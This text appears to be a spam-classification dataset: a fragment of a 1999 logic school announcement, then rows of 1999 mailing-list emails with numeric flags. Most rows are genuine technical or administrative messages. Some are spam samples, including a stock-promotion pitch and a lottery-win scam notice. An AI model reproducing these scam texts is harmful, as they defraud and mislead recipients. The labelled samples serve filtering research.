has very good conference facilities, and the participants will be provided with computers and access to Internet during this part of the event. For more info about RAU, visit its Web site at http://www.rau.ac.za. ARRIVAL AND REGISTRATION: December 5. There will be a Welcome reception at RAU during and after the registration of that evening. ACCOMMODATION: We offer 3 main options for the accommodation during the 2nd part of the school: A) Hotel. The following special rates have been negotiated with Randburg Towers Hotel (3 star, near Waterfront in Randburg, about 30 min drive to RAU), between which and RAU we shall provide twice daily bus transport. Single rooms: R244 pp/pd, incl. breakfast. Double and twin rooms: R230 per room/pd, excl. breakfast @ R29 per person. All rooms are with bath en suite, aircon, telephone, and TV. B) There are limited possibilities for accommodation in guest-houses within walking distance from the university, offering good, more intimate environment, with prices ranging from R200-300 pp/pd, breakfast included. The guest-houses have limited capacities and will be booked on the basis of first registered - first booked. C) Student hostels of the University of Witwatersrand (Wits), about 10-15 min drive from RAU. A DAILY PACKAGE of single room, breakfast, and bus transportation to and from RAU during December 5-10 will cost R100 pp/pd. In addition, dinners can be booked at the hostels at R25. The last night for which we have booked the hostels is December 10/11. Those who wish to stay there longer should make their own arrangements. For more luxurious accommodation and additional options, check out our Web-page, but please note that if you choose an accommodation not listed above, you should make your own booking and transport arrangements. IV. GRANTS: We offer a limited number of student grants covering, partly or fully, registration fee and the local expenses of participants who are academically deserving and need financial support for the attendance of the school. Graduate students and young researchers from disadvantaged communities, interested in the subjects of the School are encouraged to apply. The grant applications should include: i) letter of application; ii) short curriculum vitae iii) short description of completed and currently studied graduate courses, topic(s) of master/doctoral theses (if applicable), and research interests. iv) reference from the supervisor. The applications should reach us soon as possible and NOT LATER THAN JULY 1, 1999, electronically or per ordinary mail to our postal address given at the end of this announcement. V. PRE-REGISTRATION: The registration form is attached separately or can be downloaded from our Web page. Please complete and send it per e-mail, fax or mail, to reach us BY SEPTEMBER 1. VI. PAYMENTS: 1) REGISTRATION FEE covering the attendance of the courses, tutorials and workshops, up to 6 sets of course readers per part, and refreshments. The EARLY fees, payable by SEPTEMBER 1, 1999 are as follows (at present 1US $ trades for approx. 6 rands): -) Students: R 100 (Part 1), R100 (Part 2), R200 (both). -) Academic participants: R 200 (part 1), R200 (part 2), R400 (both). -) Accompanying persons: R 50 (part 1), R50 (part 2), R100 (both). (excl. course readers). -) Other participants: R 300 (part 1), R300 (part 2), R600 (both). NB: FROM SEPTEMBER 1, ALL FEES ABOVE GO UP BY 20%. Deadline for payment: NOVEMBER 1, 1999. 2) An ACCOMMODATION DEPOSIT of R200 is payable at pre-registration, or NOT LATER THAN NOVEMBER 1, 1999. The remaining part of the accommodation will be settled directly by the participants (in the hotels and guest-houses) or paid to the organizers on arrival (for the Island and Wits hostels). 3) Cancellation policy: before November 1: full refund, less administrative costs. After November 1: 50% of the registration fee plus the deposit, if still refundable to us. 4) The methods of payment are indicated in the registration form. VII. Summary of DEADLINES: 1) For grant applications: JULY 1. 2) For submissions to the workshops and the open sessions: AUGUST 1. 3) For notification AUGUST 15 (unless otherwise specified by the organizers). 4) For registration and payment of EARLY fees: SEPTEMBER 1. 5) For FULL payment of registration fees and accommodation deposit: NOVEMBER 1. VIII. OTHERS: All prices below are payable on arrival. 1) Lunch packages of 5 lunches will be arranged during the second part of the school at R150. 2) A banquet will be organized on December 8 at R70 per person. 3) One-day outings will be organized on December 11 to Gold Reef City (Johannesburg), and to the Rhino and Lion Nature reserve and Sterkfontein Caves (about 30-40 km away from Johannesburg) each at approx. R50 pp. Details will be included in the 3rd announcement and placed on the Web. If you are interested in additional touring, excursions, entertainment and other recreational activities in South Africa you can contact Brenda or Tania from Melville Travel at Meltrav@yebo.co.za, tel. ++27-11-726-7166, fax: ++27-11-726-7485, or any other South African travel agency. Visit our Webpage for more details. IX. FURTHER INFORMATION AND ENQUIRES: For updates and further information, check out our Webpage at: http://proof.mth.uct.ac.za/~pjipsen/luatcs99 For all correspondence, enquires, and to be included on the mailing list, please write to: luatcs99@na.rau.ac.za or send a letter to: LUATCS'99 Department of Mathematics Rand Afrikaans University PO BOX 524 Auckland Park 2006 South Africa You can also contact us directly: Val Goranko at vfg@na.rau.ac.za or Peter Jipsen at pjipsen@maths.uct.ac.za or Isabella Burger at icb@na.rau.ac.za. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LUATCS '99 REGISTRATION FORM ========== ================= Wherever requested to indicate choices, please mark with an X in the brackets or leave blank. The completed registration form should reach us by SEPTEMBER 1 per e-mail, fax, or ordinary mail. 1. PERSONAL INFORMATION Title, surname, and first name(s):..................................... Affiliation:........................................................... Address:............................................................... ....................................................................... Telephone:............. Fax:................... E-mail address:................................ Student[ ] Academic[ ] Other[ ] (Please choose one of these.) Accompanying persons: Yes[ ] / No[ ] If yes: Name(s):.............................................. 2. DETAILS ON PARTICIPATION 2.i) Which parts of the school would you like to attend? Part 1 [ ] Part 2 [ ] Both parts [ ] 2.ii) Which courses and tutorials/workshops do you intend to attend? (This is just preliminary info for us. You can change your mind later.) Part 1 (1-4 Dec): Blackburn[ ] Gumm[ ] Melton[ ] Schlingloff[ ] Valeriote[ ] Venema[ ] Part 2 (6-10 Dec): Andreka/Nemeti[ ] Chaochen[ ] Davey[ ] Dawar[ ] de Rijke[ ] Gehrke[ ] Hirsch[ ] Hodges[ ] Jacobs/Rutten[ ] Jech[ ] van Benthem[ ] Vardi[ ] Zucker[ ] 2.iii) Which sets of course notes/readers do you want to receive? (The cost of 6 sets per part is included in the registration fee; the rest will cost up to R20 per set - payable on arrival.) Part 1 (1-4 Dec): Blackburn[ ] Gumm[ ] Melton[ ] Schlingloff[ ] Valeriote[ ] Venema[ ] Part 2 (6-10 Dec): Andreka/Nemeti[ ] Chaochen[ ] Davey[ ] Dawar[ ] de Rijke[ ] Gehrke[ ] Hirsch[ ] Hodges[ ] Jacobs/Rutten[ ] Jech[ ] van Benthem[ ] Vardi[ ] Zucker[ ] 2.iv) Do you intend to give a talk in a workshop or an open session? Workshop[ ] / Open session[ ] / None [ ] If yes, please give a title and specify the workshop (if applicable): ................................................................. 3. TRAVEL 3.i) Arrival date and time, airline and flight number (if already known): ............................................................ 3.ii) Departure date and time:................................... Do you need transportation from and to Johannesburg bus station or airport? Station[ ] / Airport[ ] 4. ACCOMMODATION (If you have accompanying persons, please book for them, too.) 4.i) Part 1: December 1-4. Arrival and registration day: Nov 30. Departure: Dec 5. RAU Island: total package of R550 per person, including accommodation, 3 meals a day, refreshments, and bus/boat transport to and from the island. 4.ii) Part 2: Dec 6-10, RAU Campus. Arrival and registration day: Dec 5. Departure: evening of Dec 10, or later; for the hostels: not later than Dec 11 unless arranged individually. Please indicate your preferences for accommodation in a priority order, choosing from the options below. All prices are per room per night, for single rooms including breakfast, for double rooms excluding breakfast (@R29 per person). 1: 2: 3: If sharing a double room in the hotel, the name of your roommate: Note that a R200 accommodation deposit is required, payable with registration fee. A) Hotel SINGLE DOUBLE R244 R230 B1) Guest-house at R200 - R250. B2) Guest-house at R250 - R300. C) Student hostel: R100. D) My own arrangement. 5. VARIA. If you have accompanying persons, please book for them as well, by putting a number in the brackets. All payments are due on arrival. 5.i) Would you like lunch package(s) during Dec 6-10 (@ R150 per package)? Yes [ ] No[ ]. Please specify any dietary restrictions: 5.ii) Would you like to attend the banquet on Dec 8 (@ R70 per person)? Yes [ ] No [ ]. 5.iii) Would you like to join the outing on Saturday, Dec 11 (@ approx. R50)? - to Gold Reef City, Johannesburg [ ] - to the Rhino and Lion Nature Reserve and Sterkfontein Caves [ ]. 6. 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PLEASE NOTE: if you use bank transfer, your surname and initials as well as this reference number: 9331 8659 05 MUST APPEAR on the deposit slip, of which a copy must be sent to us. 7) REMARKS (if any): SIGNATURE:............................... DATE:............... ",0,1 Joey Sims ,"""'ggilfoyl@richmond.edu'"" ","Tue, 25 May 1999 10:52:43 -0400",Linux Systems,"Your order is in route to you. The original quote was with Linux RH 5.2. We installed RH 6.0. We are backordered on 5.2. We will have this to you asap. Shipped Via RL Gator Trucking Pro# 98-362774-8 www.rlcarriers.com Joey P. Sims Senior Account Executive Atlanta, GA joey.sims@ponycomputer.com Toll Free (888) 809-1588 x 105 Fax (770) 806-1566 ",0,0 Joey Sims ,"""'ggilfoyl@richmond.edu'"" ","Tue, 25 May 1999 15:09:01 -0400",RE: Linux Systems,"probably tommorow. you can plug the PRO# in at www.rlcarriers.com and it should tell you exactly where it's at. > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Tuesday, May 25, 1999 3:07 PM > To: Joey Sims > Subject: Re: Linux Systems > > hi joey, > > thanks for all your help. do you have even a rough idea > when this stuff will arrive? > > jerry ",0,0 Joey Sims ,"""'ggilfoyl@richmond.edu'"" ","Tue, 25 May 1999 15:20:18 -0400",RE: Linux Systems,"actually, it says it will be delivered today. > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Tuesday, May 25, 1999 3:07 PM > To: Joey Sims > Subject: Re: Linux Systems > > hi joey, > > thanks for all your help. do you have even a rough idea > when this stuff will arrive? > > jerry ",0,0 Matt Austin ,Handy Board Mailing List ,"Tue, 25 May 1999 22:04:56 +0100",HandyBoard Assembly Problems,"Hi all, I'm at stage 4.2.1 of assembling my Handyboard(v1.2) Where you install U12, the DS1233 3-pin ic. And it doesn't work, I've worked through the debugging stage, Led11R IS in the right way round, and I've tried U12 both ways. What happens is this; when power is applied LED15Y comes on, and stays on, but the red battery low light doesn't light, not even for 1/3 of a second. I can however make it light by shorting the top and middle pins of U12. Every thing up to this stage has worked fine, and I believe that all the other components are inserted correctly. Is U12 defective? Or is there another solution?, is the board defective? Has anyone else had a similar problem? Any help would be greatly appreciated!! ------------------------ Matt Austin Falinn@Ukmax.com Home Page: Http://www.Geocities.Com/Area51/Stargate/4133 ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Tue, 25 May 1999 17:45:31 -0700",Re: HandyBoard Assembly Problems,"Matt: It sounds like maybe you have a DS1233M instead of a DS12323. The ""M"" part is a replacement for the MC34064 and has a different pinout than the regular DS1233. I have both versions, DS1233 for the Handy Board and DS1233M for the Finger Board. I cannot tell them apart by their markings! Only with an ohmmeter. They both look like diodes between pin-1 and pin-3; on the DS1233 pin-3 looks like the cathode, on the DS1233M pin-1 looks like the cathode. Does that make sense? On the HandyBoard part; low resistance (1K5) from pin-3 to pin-1, and open from pin-1 to pin-3. http://www.dalsemi.com/DocControl/index.html Hope this helps, - - - Nick - - - Matt Austin wrote: > > Hi all, > I'm at stage 4.2.1 of assembling my Handyboard(v1.2) Where you install > U12, the DS1233 3-pin ic. And it doesn't work, I've worked through the > debugging stage, Led11R IS in the right way round, and I've tried U12 both > ways. What happens is this; when power is applied LED15Y comes on, and stays > on, but the red battery low light doesn't light, not even for 1/3 of a > second. I can however make it light by shorting the top and middle pins of > U12. > Every thing up to this stage has worked fine, and I believe that all the > other components are inserted correctly. Is U12 defective? Or is there > another solution?, is the board defective? Has anyone else had a similar > problem? Any help would be greatly appreciated!! > ------------------------ > Matt Austin > Falinn@Ukmax.com > Home Page: Http://www.Geocities.Com/Area51/Stargate/4133 ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Tue, 25 May 1999 17:50:26 -0700",Re: HandyBoard Assembly Problems,"Matt: I forgot to include the pinouts. DS1233 (pin-1 GND) (pin-2 ~RST) (pin-3 Vcc) DS1233M (pin-1 ~RST) (pin-2 Vcc) (pin-3 GND) - N - Matt Austin wrote: > I'm at stage 4.2.1 of assembling my Handyboard(v1.2) Where you install > U12, the DS1233 3-pin ic. And it doesn't work,",0,0 Basit Iqbal ,Handy Board ,"Wed, 26 May 1999 18:25:08 +1000",P code,"Hi All, Can any body explain me what is P code. Where can I find the complete explanation of what P code do?. Thanks Regards, Basit ",0,0 jeholt@us.ibm.com,Java-sig@csc-sun.math.utah.edu,"Wed, 26 May 1999 06:29:06 -0600",May 25 - Salt Lake Java SIG,"I am sorry I missed your session. I was not available. Is there any followup that I should do? Jack E. Holt Software Account Manager IBM North America Salt Lake City, UT (801) 328-6844 Tieline 582-6844 ---------------------- Forwarded by Jack Holt/Salt Lake City/IBM on 05/26/99 06:28 AM --------------------------- Bill Harris on 05/20/99 11:41:51 PM Please respond to bharris@ibm.net To: java-sig@math.utah.edu cc: (bcc: Jack Holt/Salt Lake City/IBM) Subject: May 25 - Salt Lake Java SIG Salt Lake Java SIG - May Meeting Topic: Integrated Development Environments for Java Date & Time: Tuesday, May 25 1999 7:00 - 8:00 PM Location: Room 110, EMCB (Eng.& Mines Classroom Bldg), Univ. Of Utah We've had a number of vendors come and demonstrate their Integrated Development Environments for developing Java applets/applications. Now that some of us have worked with them over the last year or so - its time to compare notes. We will discuss our experiences with the IDEs. What are their pros and cons? How do they compare? Is there a place for standalone JDK development? Come and participate in our roundtable discussion. Refreshments provided by ConsultNet: http://www.consult-net.com/ If you need more information - please email me at: bharris@ibm.net or call me at: (801)582-5004 Thanks, Bill Harris",0,1 Matt Austin ,Handy Board Mailing List ,"Wed, 26 May 1999 14:19:53 +0100",Re: HandyBoard Assembly Problems,"Thanks Guys! I discovered that I had the DS1233-M part, and swapped the pins, and now it works fine! I'm surprised the part still works, as it took quite a bit of heat in the desoldering process!! Matt ------------------------ Matt Austin Falinn@Ukmax.com Home Page: Http://www.Geocities.Com/Area51/Stargate/4133 ",0,0 Chilton Adamina ,handyboard@media.mit.edu,"Wed, 26 May 1999 08:40:20 -0500",This diet plan is over the roof,"! hum try elmira or strung or e's and starkey ",1,0 Hiram ,handyboard@media.mit.edu,"Wed, 26 May 1999 23:26:12 +0600","Investment time frames, stok recommendations and highlights Hot'n'new","stok analysis tools and tips meant to increase long-term profits Complete stok research information and recommendations Expert stok suggestions and recommendations More earning opportunities with expert stok analysis Enter: CHINA GOLD CORP Symbol: CGDC Current Price: 1.90 You can see China’s developing gold boom is building momentum. Rare opportunity for early investors! Why consider CHINA GOLD CORP (CGDC)? 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",1,0 �� ���� ,reliable_computing@interval.usl.edu,"Mon, 02 Feb 1931 04:21:30 -0000",������ ���ͳ����� ��û���ص� ��ʺг��� ���� ���·� �Աݵ˴ϴ�,%SSSS ���� ������ ���������� ����������   ������ ���������������� ������ OK!!     ���������� [����]��  ���������� %DDDD,1,1 sakar@servidor.unam.mx,handyboard@media.mit.edu,"Thu, 27 May 1999 10:13:59 -0600",32K static RAM,"Does anybody knows a subtitute for the 62256LP-120 , 32K static RAM? Because I´m having trouble find the Memory, and I got a other memory but it doesn´t work (I think). Thanks for the Help Daniel --------------------------------------------------------------------- "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" --------------------------------------------------------------------- ",0,0 Angelo Alonzo ,DMDX@psy1.psych.arizona.edu,"Thu, 27 May 1999 23:57:50 +0000",[DMDX],"Dear Professor Forster, We've been trying to set up a naming experiment using DMDX on a laptop PC but have been unsuccessful to date. We were wondering if it was possible to run the naming experiments using a sound card instead of a voice key (PIO card). Thanks in advance. Best regards, Angelo Alonzo School of Psychology The University of New South Wales Sydney, Australia 2052 Tel: 61 2 9385 1694 Fax: 61 2 9385 3641 Email: AADLA@msn.com.au OR angelo_alonzo@hotmail.com ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Ding Guosheng ,DMDX@psy1.psych.arizona.edu,"Thu, 27 May 1999 17:04:52 -0700",[DMDX],"Dear Prof. Forster: I am a new user of DMDX and very grateful for your hard workon this excellent software. I meet a problem and fail to figure it outby the information on your homepage. I have got a new computer which has sound card and runwin98, but no PIO card or voice key. If I want to use joystick or game pad as input device, can I run experiments on naming task? If I can, how can I doit? Just connect the microphone to sound card directly or need otherdevice? I am looking forward to your reply, thank you very much. Michael 27/05/99 ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 27 May 1999 18:00:33 -0700",[DMDX] Re: ,"At 11:57 PM 5/27/99 GMT, you wrote: >Dear Professor Forster, > >We've been trying to set up a naming experiment using DMDX on a laptop PC >but have been unsuccessful to date. We were wondering if it was possible to >run the naming experiments using a sound card instead of a voice key (PIO >card). Not currently. Look for version 1.1.00 some time in the next few weeks/months as I'll be adding code to both record a subjects response and/or use the digitized audio energy level against a threshold for an RT. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Next time, give ""the gift that keeps on giving"": a female kitten. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 27 May 1999 18:05:59 -0700",[DMDX] Re: ,"At 05:04 PM 5/27/99 PDT, you wrote: >Dear Prof. Forster: > > I am a new user of DMDX and very grateful for your hard workon this >excellent software. I meet a problem and fail to figure it outby the >information on your homepage. > I have got a new computer which has sound card and runwin98, but no PIO >card or voice key. If I want to use joystick or game pad as input device, >can I run experiments on naming task? If I can, how can I doit? Just connect >the microphone to sound card directly or need otherdevice? > I am looking forward to your reply, thank you very much. Use a voice key connected to the game port of a sound card or wait till I build a digital voice key (but that will be weeks). You will have to use the keyword (something like with an in the parameter line) and I recommend getting a joystick and gutting it to interface the VOX to the gameport replacing one of the joystick switches with the VOX's relay. As for a voice key LaFayette make a reasonable unit with relay outputs. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Next time, give ""the gift that keeps on giving"": a female kitten.",0,0 sakar@servidor.unam.mx,handyboard@media.mit.edu,"Thu, 27 May 1999 22:36:29 -0600",C++ (Serial and Parallel port)," Does anybody know how what function(C++) should i use to read and input or make an output through a serial or parallel port What function should use or make? Thanks in advance Daniel --------------------------------------------------------------------- "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" --------------------------------------------------------------------- ",0,0 Will Bain ,Handyboard Mailing List ,"Thu, 27 May 1999 22:03:39 -0600",Re: P code,"Basit Iqbal wrote: > Can any body explain me what is P code. > Where can I find the complete explanation of what P code do?. I don't know about a complete explanation, but it's my understanding that the p-code is sort of like a rudimentary operating system for the HC11, which allows programs to be loaded and executed. If I'm wrong about this, I'm sure we'll hear about it. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, America's one of the finest countries Will Bain, anyone ever stole. & Tatoosh --Bobcat Goldthwait ",0,0 rmtmd ,Handyboard Mailing List ,"Thu, 27 May 1999 22:03:17 -0700",Re: P code,"P-code, I assume, stands for ""pseudo code."" The P code represents tokenized op codes for a virtual machine interface. First the source is COMPILED into an intermediate set of tokens or commands which are then INTERPRETED by the processor. It's sort of like the old UCSD Pascal. Will Bain Will Bain >Basit Iqbal wrote: >> Can any body explain me what is P code. >> Where can I find the complete explanation of what P code do?. > >I don't know about a complete explanation, but it's my understanding >that the p-code is sort of like a rudimentary operating system for the >HC11, which allows programs to be loaded and executed. If I'm wrong >about this, I'm sure we'll hear about it. > >-- Will > , , > __@_/ \\_@__ |/ > | /__, o @_/ > )\\ ) ( \\ (\\/\\\\, >~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >Wendy Parson, America's one of the finest countries >Will Bain, anyone ever stole. >& Tatoosh --Bobcat Goldthwait > Ross M. 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What OS are you using? -Chris ----- Original Message ----- From: To: Sent: Thursday, May 27, 1999 9:36 PM Subject: C++ (Serial and Parallel port) > > Does anybody know how what function(C++) should i use to read and input or > make an output through a serial or parallel port > > What function should use or make? > > > Thanks in advance > > Daniel > > > > > --------------------------------------------------------------------- > "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" > --------------------------------------------------------------------- > >",0,0 CHRINO BRIANO ,ggilfoyl@facstaff.richmond.edu,"Fri, 28 May 1999 04:53:47 +0200",EURO BONOLOTO RE:AWARD FINAL NOTIFICATION:,"FROM OFFICE OF THE DIRECTOR, BONOLOTO INTERNACIONAL PROMOTIONS PROGRAM. AVENIDA PRIMADO REIG 3,28003, MADRID SPAIN. REF:ESJP/6578347/06 BATCH:ESNM/9834/06. RE:AWARD FINAL NOTIFICATION: We are pleased to inform you of the result 1st May,2006 of the Bonoloto Internacional promotions program held on 24th April,2006. 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RGDS, PHILLIP CHIA ",0,0 Richard Seltzer ,ggilfoyl@richmond.edu,"Fri, 28 May 1999 09:26:54 -0400",Re: [Fwd: cable characteristics],"Dear Jerry, The specification for the cables you requested are: KEM-80085 Contact material - Brass, Copper Alloy or Phosphor Bronze Conductors - 28 awg stranded wire Shield - Alum-Foil shielding w/ 25% min. overlap MEM-90078 Contact material - Copper Alloy or Phosphor Bronze Conductors - 28 awg stranded wire Shield - Alum-Foil shielding w/ 25% min. overlap I hope these answer your questions. If I can be of any further assistance please get back to me. Regards, Richard Seltzer Sales / Service Representative Wyonnia Williams wrote: > ------------------------------------------------------------------------ > > Subject: cable characteristics > Date: Thu, 27 May 1999 15:32:16 -0400 > From: gilfoyle > To: wyonnia@ramelectronics.net > > Dear Ms. Williams: > > I am interested in purchasing some cables for a computer > laboratory we are developing at our university. I have some > questions about two of your products. In particlar I am > interested in obtaining 24, long (25 ft.), PS/2, keyboard cables > (part number KEM-80085) and 12, long, SVGA cables (part > number MEM-90078). My questions are below. > > 1. Are the contacts gold plated? > > 2. Is the cable made with solid or braided wire? > > 3. How well are the cables shielded? > > Thank you for your help wiht this matter. > > Sincerely, > > Jerry Gilfoyle > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482",0,0 Slava Nesterov ,"reliable_computing@interval.usl.edu, interval@cs.utep.edu","Tue, 25 May 1999 22:37:14 +0400","RC issue 3, 1999, Table of Contents"," Reliable Computing volume 5, issue 3 Special issue, Proceedings of the SCAN-98 Guest editor: Tibor Csendes Preface 211-212 Comparing Partial Consistencies Helene Collavizza, Francois Delobel, Michel Rueher 213-228 Verified Computation of Fast Decreasing Polynomials Neli S. Dimitrova, Svetoslav M. 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Shary 323-335 A Real Polynomial Decision Algorithm Using Arbitrary-Precision Floating Point Arithmetic Adam Strzebonski 337-346 A Numerical Verification Method of Solutions for the Navier-Stokes Equations Yoshitaka Watanabe, Nobito Yamamoto Mitsuhiro T. Nakao 347-357  ",0,0 Kent Marshall ,Handy Board Mailing List ,"Fri, 28 May 1999 10:13:52 -0400",Discontinued subscriptions,"Please don't post your request to be removed from the handiboard group to the handiboard mailing list. This sends a copy to EVERYONE on the list. It's rude, and bothersome. I'd suggest sending the request for removals to the same email address that you originally applied to for the subscription. I am benefiting from the experiences that people are sharing about these boards. However, it really irks me to get these damned unsubscribe requests. Thanks! ",0,0 Mr Lyndsey Andreasen ,brittney@cs.bu.edu,"Fri, 28 May 1999 05:23:15 -0800",this can change your life,"but confrontation be basin on calico the rosenberg try fob ",1,0 Matt Austin ,Handy Board Mailing List ,"Fri, 28 May 1999 18:42:03 +0100",hbtest.c Problems,"Hi all(Again!), I'm having a problem with the hbtest.c program on my handyboard, I'm at stage 7.2.2 of assembly, where you load the above file using ic, and it wont load it. DL works fine, and ic will download other .c files, and I can type c expressions at the ic command prompt, and these work, but when I try to load hbtest.c by typing ""load hbtest.c"" it gives several errors, talking about undefined processes within hbtest.c, and then unloads the program. I've downloaded the latest version of the file from the MIT site, and have the same prob. Any ideas? Thanks again! Matt ------------------------ Matt Austin Falinn@Ukmax.com Home Page: Http://www.Geocities.Com/Area51/Stargate/4133 ",0,0 Robert Pitts ,info@gso.bu.edu,"Fri, 28 May 1999 17:02:32 -0400","GSO - summary of Thu, May 27, 99 meeting","Here is a summary of what we did at yesterday's Graduate Student Organization meeting. Our next general meeting will be towards the end of June (to be announced). --Rob Summary ======= 1. Committee Reports Financial, Academic and Research Committee ========================================== Ann Walker reported for this committee (communicating information from Gareth Roberts ). - They were able to schedule Wendy Gordon, the speaker for an ""Intellectual Property"" talk, for Thursday, September 9th at noon. - They have added a new area to the GSO web site, the ""FAR Pages"" (http://gso.bu.edu/FAR). Currently, it has some information about BU grad stipend rates and some rates at other local schools. They'd be interested in hearing from students that know about the pay rate in some dept at another school (send that info to far@gso.bu.edu). The FAR Pages will continue to grow. - They are still working on a policy statement for ""Advising"". Healthcare Committee ==================== Jill Orofino reported for this committee. They have: - Completed a ""site map"" for the Healthcare Pages (http://gso.bu.edu/healthcare). This has been designed as a set of questions that students can ask in order to better find useful information on those pages. I.e., it's an alternative way in which the healthcare information is organized. - Updated the writeup of BU's Chickering student health insurance plan for 99/00 (on the Healthcare Pages). Most notably, the premium is increasing to $576 for the student (an increase of $26) and the generic prescription copayment will be $5 (an increase of $2). Other costs and coverage will remain the same, except that a vision discount plan is now included (i.e., for no extra cost). The vision discount plan will provide discounts for certain services at participating providers. - Contacted a representative of the NAGPS health insurance plan in order to obtain updated rates and coverage information for 99/00. In addition, asked about getting printed material to use to represent the NAGPS plan at the New Grad Student Orientation this Fall. ---- An attendee asked whether there was an e-mail where Chickering can be contacted. Housing Committee ================= This committee did not report. ---- An attendee mentioned that the Off-Campus Housing Office still provides paper listings (as well as the electronic ones). The office claims this is one reason why the application for their web listings is done on paper. However, it may be useful to ask them whether they will institute an electronic version that would be more convenient for non-local students. Also, since new students will be able to get computer accounts over the summer (see Liaison Committee report below) and access Off-Campus Housing's web listings, the GSO will stop accepting ""apartment/sublet/ roommate"" listings to our ""Postings"" page after mid-June. Liaison Committee ================= Rob Pitts , acting liaison for the summer, reported for this committee. Most of the following information comes from Andrea White, assistant to Assoc. Dean Whitaker. New Student Mailings -------------------- The GSO flyer, with information about our web pages and some of our Sept. events, was included in mailings to new students. Mailings were sent out approx. May 17th. GRS will provide one of these packets to us (so that we can see what other information they sent). The GSO will have the opportunity to put an updated flyer in the packets that will be given to new students when they arrive in the Fall. Fall Orientation for New Grad Students -------------------------------------- GRS's orientation will be made up of an Information Fair and a Reception (like it's first incarnation last year), both on Sept. 7th. They are expecting a few hundred students at this event. Information Fair: - 3-4pm, in small ballroom of GSU - Will have tables for things like: GSO, Chickering, Development, Fin. Aid, ISSO, BU police, etc. They are adding tables for a few offices they didn't have last year. - They hope to have some soda/munchies available during the fair. Reception: - After 4pm, in large ballroom of GSU - Will have hors d'oeuvre. New International Student TF Orientation ---------------------------------------- This brand-new event will be Aug. 17-24. - It is supposed to be mandatory for international students who will be new TFs and who have not already received degrees at English-speaking schools. - Students will stay in Myles Standish Hall during the program. Afterwards, they will be put up in Howard Johnson's (on Boylston St.) until Aug. 31st (if they need accommodations). We already sent mail saying that GRS is looking for a few students to stay in the dorm with these new students (for a small stipend). - This orientation will consist of things like: a welcome, visits from off-campus housing, language assessment, cultural orientation. - They've received confirmation from 22 new students and expect perhaps 40 to attend. - There are opportunities for the GSO to plan social events for these students, mainly Friday night (8/20) and on the weekend (8/21-22). GRS would pay for these events. We could even invite some continuing students as long as we give some estimates of attendance to GRS. They'd like to know about any social events we want to plan during this orientation by mid-June (if possible). Regular New TF Orientation -------------------------- This orientation will be Sept. 1st at 2pm (SCI 107). As in past years, the deans plus a few veteran TFs will speak to students. Apparently, speeches normally give students some basic tips on teaching and do's and don'ts. GRS provides munchies during that event. New Student Computer Accounts ----------------------------- The university will be sending mailings to new students in June about how to establish their BU computer accounts. These will be normal accounts that will allow students access to Off-Campus' Housing listings on the web. Grad Student Mailing List ------------------------- The university will be establishing a mailing list for all GRS students. However, it will NOT be generally accessible (the university worries about ""spam""). Even when GRS wants to send stuff to this list, they will need the dean's approval and must go through a certain ""procedure"". There is the possibility that the GSO could send something like an initial mail to all students each year (if we do it via GRS). It might be possible to selectively mail to subsets of students (like new ones). Library Privileges ------------------ Andrea White said that she would remind Assoc. Dean Whitaker about library privileges (i.e., getting the better borrowing privileges that TFs have for all grads). She said that although the deans are behind the policy change, the issue has been getting the library administration to want to change that policy. GRS money for GSO ----------------- As far as the $1,000 Assoc. Dean Whitaker said (last Fall) that he would like to allot to the GSO for the 99/00 year, Andrea White said that budgeting that money should not be a problem. The GSO would have access to the money as in the past, i.e., we'd have to ask GRS for money for a particular event/project and GRS would say Yes or No. Grad Student Lounge ------------------- The issue of our current lounge in Metcalf being inadequate was brought up. I.e., we had originally asked for a lounge that ALL GRS students would have access to. In addition, the acoustics of the lounge make it almost impossible to hold talks or even meetings. Andrea White asked Assoc. Dean Whitaker about another location and was give a response that there are no available rooms. Obviously, this is an issue we'll need to continue to pursue. One possibility is to catalog what facilities grads have at other local schools (some have their own buildings) as evidence for BU being way behind in that respect. Pay Rate Statistics ------------------- As long as the dean approves, Andrea White is willing to share with the GSO information on grad stipend rates at other local schools. These statistics are something she's tried to get each Fall during the last few years. Grant Writing Seminar --------------------- Andrea White is willing to set up a grant-writing talk (interdisciplinary) with the GSO next year. This is something GRS provided for depts that requested it this past year. Early Fall was suggested as a good time to do this since many grants are due in November. Foreign Language Resources -------------------------- Andrea White mentioned that the Geddes Language Center (5th floor of CAS building, close to Tsai Performance Center end) has resources available on learning foreign languages. This may be a resource for grad students to study for their language exams. The center's front desk says the center is accessible to any BU student. List of Dept. Chairs/DGSs ------------------------- GRS will give us a new list of dept Chairs/Directors of Graduate Studies later in the summer (i.e., should we want to contact depts on different issues, such as getting student reps to the GSO). ---- One attendee mentioned that there is usually a reception after the Regular New TF Orientation and that we might ask about getting a table for the GSO. Also, another asked whether there might be the possibility of preparing a flyer geared toward TFs for that event. On the issue of library privileges, one attendee suggested asking why the deans don't have the authority to get the library to change their policy, especially considering that Dean Berkey of GRS is also the Provost. Another suggestion (to follow this first approach) is to ask GRS where to send letters since several students are concerned enough about the library privilege issue to send letters. On the issue of mailing lists, 